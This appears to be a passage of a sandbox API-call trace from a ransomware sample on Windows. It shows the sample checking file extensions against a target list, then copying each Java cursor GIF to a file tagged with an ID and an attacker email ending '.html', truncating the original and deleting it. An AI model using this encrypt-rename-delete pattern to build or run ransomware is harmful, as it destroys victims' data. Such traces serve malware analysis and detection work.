	[0065.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.458] lstrlenW (lpString=".zip") returned 4
	[0065.458] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.458] lstrlenW (lpString=".rar") returned 4
	[0065.458] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.458] lstrlenW (lpString=".bz2") returned 4
	[0065.458] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.459] lstrlenW (lpString=".7z") returned 3
	[0065.459] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString=".dbf") returned 4
	[0065.459] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString=".1cd") returned 4
	[0065.459] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString=".jpg") returned 4
	[0065.459] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString=".doc") returned 4
	[0065.459] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.459] lstrlenW (lpString=".docx") returned 5
	[0065.459] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.459] lstrlenW (lpString=".pdf") returned 4
	[0065.459] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.459] lstrlenW (lpString=".xls") returned 4
	[0065.459] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.459] lstrlenW (lpString=".xlsx") returned 5
	[0065.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.459] lstrlenW (lpString=".ppt") returned 4
	[0065.459] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.459] lstrlenW (lpString=".zip") returned 4
	[0065.459] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.459] lstrlenW (lpString=".rar") returned 4
	[0065.459] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.460] lstrlenW (lpString=".bz2") returned 4
	[0065.460] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.460] lstrlenW (lpString=".7z") returned 3
	[0065.460] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.460] lstrlenW (lpString=".dbf") returned 4
	[0065.460] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.460] lstrlenW (lpString=".1cd") returned 4
	[0065.460] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.460] lstrlenW (lpString=".jpg") returned 4
	[0065.460] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.460] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.460] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0065.460] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.460] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=153) returned 1
	[0065.460] CloseHandle (hObject=0x334) returned 1
	[0065.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20
	[0065.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.461] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.461] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.461] GetLastError () returned 0x0
	[0065.461] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x99, lpOverlapped=0x0) returned 1
	[0065.462] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0065.463] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.463] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x106, lpOverlapped=0x0) returned 1
	[0065.464] SetEndOfFile (hFile=0x370) returned 1
	[0065.464] CloseHandle (hObject=0x370) returned 1
	[0065.464] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.465] SetEndOfFile (hFile=0x334) returned 1
	[0065.465] CloseHandle (hObject=0x334) returned 1
	[0065.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.466] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1
	[0065.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.466] lstrlenW (lpString=".doc") returned 4
	[0065.466] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.466] lstrlenW (lpString=".docx") returned 5
	[0065.466] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.466] lstrlenW (lpString=".pdf") returned 4
	[0065.466] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.466] lstrlenW (lpString=".xls") returned 4
	[0065.466] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.466] lstrlenW (lpString=".xlsx") returned 5
	[0065.466] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.466] lstrlenW (lpString=".ppt") returned 4
	[0065.466] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.466] lstrlenW (lpString=".zip") returned 4
	[0065.467] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.467] lstrlenW (lpString=".rar") returned 4
	[0065.467] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.467] lstrlenW (lpString=".bz2") returned 4
	[0065.467] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.467] lstrlenW (lpString=".7z") returned 3
	[0065.467] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.467] lstrlenW (lpString=".dbf") returned 4
	[0065.467] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.467] lstrlenW (lpString=".1cd") returned 4
	[0065.467] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.467] lstrlenW (lpString=".jpg") returned 4
	[0065.467] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.467] lstrlenW (lpString=".doc") returned 4
	[0065.467] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.467] lstrlenW (lpString=".docx") returned 5
	[0065.467] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.467] lstrlenW (lpString=".pdf") returned 4
	[0065.467] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.467] lstrlenW (lpString=".xls") returned 4
	[0065.467] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.467] lstrlenW (lpString=".xlsx") returned 5
	[0065.467] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.468] lstrlenW (lpString=".ppt") returned 4
	[0065.468] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.468] lstrlenW (lpString=".zip") returned 4
	[0065.468] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.468] lstrlenW (lpString=".rar") returned 4
	[0065.468] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.468] lstrlenW (lpString=".bz2") returned 4
	[0065.468] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.468] lstrlenW (lpString=".7z") returned 3
	[0065.468] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.468] lstrlenW (lpString=".dbf") returned 4
	[0065.468] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.468] lstrlenW (lpString=".1cd") returned 4
	[0065.468] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.468] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0065.468] lstrlenW (lpString=".jpg") returned 4
	[0065.468] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.468] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.468] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0065.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.469] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=168) returned 1
	[0065.469] CloseHandle (hObject=0x334) returned 1
	[0065.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20
	[0065.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.469] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.469] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.470] GetLastError () returned 0x0
	[0065.470] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xa8, lpOverlapped=0x0) returned 1
	[0065.471] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0065.472] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.472] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x102, lpOverlapped=0x0) returned 1
	[0065.472] SetEndOfFile (hFile=0x370) returned 1
	[0065.472] CloseHandle (hObject=0x370) returned 1
	[0065.473] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.473] SetEndOfFile (hFile=0x334) returned 1
	[0065.474] CloseHandle (hObject=0x334) returned 1
	[0065.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.474] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1
	[0065.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.474] lstrlenW (lpString=".doc") returned 4
	[0065.474] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.475] lstrlenW (lpString=".docx") returned 5
	[0065.475] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.475] lstrlenW (lpString=".pdf") returned 4
	[0065.475] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString=".xls") returned 4
	[0065.475] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString=".xlsx") returned 5
	[0065.475] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.475] lstrlenW (lpString=".ppt") returned 4
	[0065.475] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.475] lstrlenW (lpString=".zip") returned 4
	[0065.475] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString=".rar") returned 4
	[0065.475] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString=".bz2") returned 4
	[0065.475] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.475] lstrlenW (lpString=".7z") returned 3
	[0065.475] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.475] lstrlenW (lpString=".dbf") returned 4
	[0065.475] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.475] lstrlenW (lpString=".1cd") returned 4
	[0065.475] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.475] lstrlenW (lpString=".jpg") returned 4
	[0065.475] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.476] lstrlenW (lpString=".doc") returned 4
	[0065.476] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.476] lstrlenW (lpString=".docx") returned 5
	[0065.476] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.476] lstrlenW (lpString=".pdf") returned 4
	[0065.476] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.476] lstrlenW (lpString=".xls") returned 4
	[0065.476] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.476] lstrlenW (lpString=".xlsx") returned 5
	[0065.476] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.476] lstrlenW (lpString=".ppt") returned 4
	[0065.476] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.476] lstrlenW (lpString=".zip") returned 4
	[0065.476] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.476] lstrlenW (lpString=".rar") returned 4
	[0065.476] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.476] lstrlenW (lpString=".bz2") returned 4
	[0065.476] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.476] lstrlenW (lpString=".7z") returned 3
	[0065.476] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.476] lstrlenW (lpString=".dbf") returned 4
	[0065.476] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.476] lstrlenW (lpString=".1cd") returned 4
	[0065.476] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0065.476] lstrlenW (lpString=".jpg") returned 4
	[0065.476] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.477] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.477] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0065.477] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.477] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=153) returned 1
	[0065.478] CloseHandle (hObject=0x334) returned 1
	[0065.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20
	[0065.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.478] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.478] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.478] GetLastError () returned 0x0
	[0065.478] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x99, lpOverlapped=0x0) returned 1
	[0065.986] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0065.987] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.987] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x106, lpOverlapped=0x0) returned 1
	[0065.987] SetEndOfFile (hFile=0x370) returned 1
	[0065.987] CloseHandle (hObject=0x370) returned 1
	[0065.990] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.990] SetEndOfFile (hFile=0x334) returned 1
	[0065.991] CloseHandle (hObject=0x334) returned 1
	[0065.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.992] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1
	[0065.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
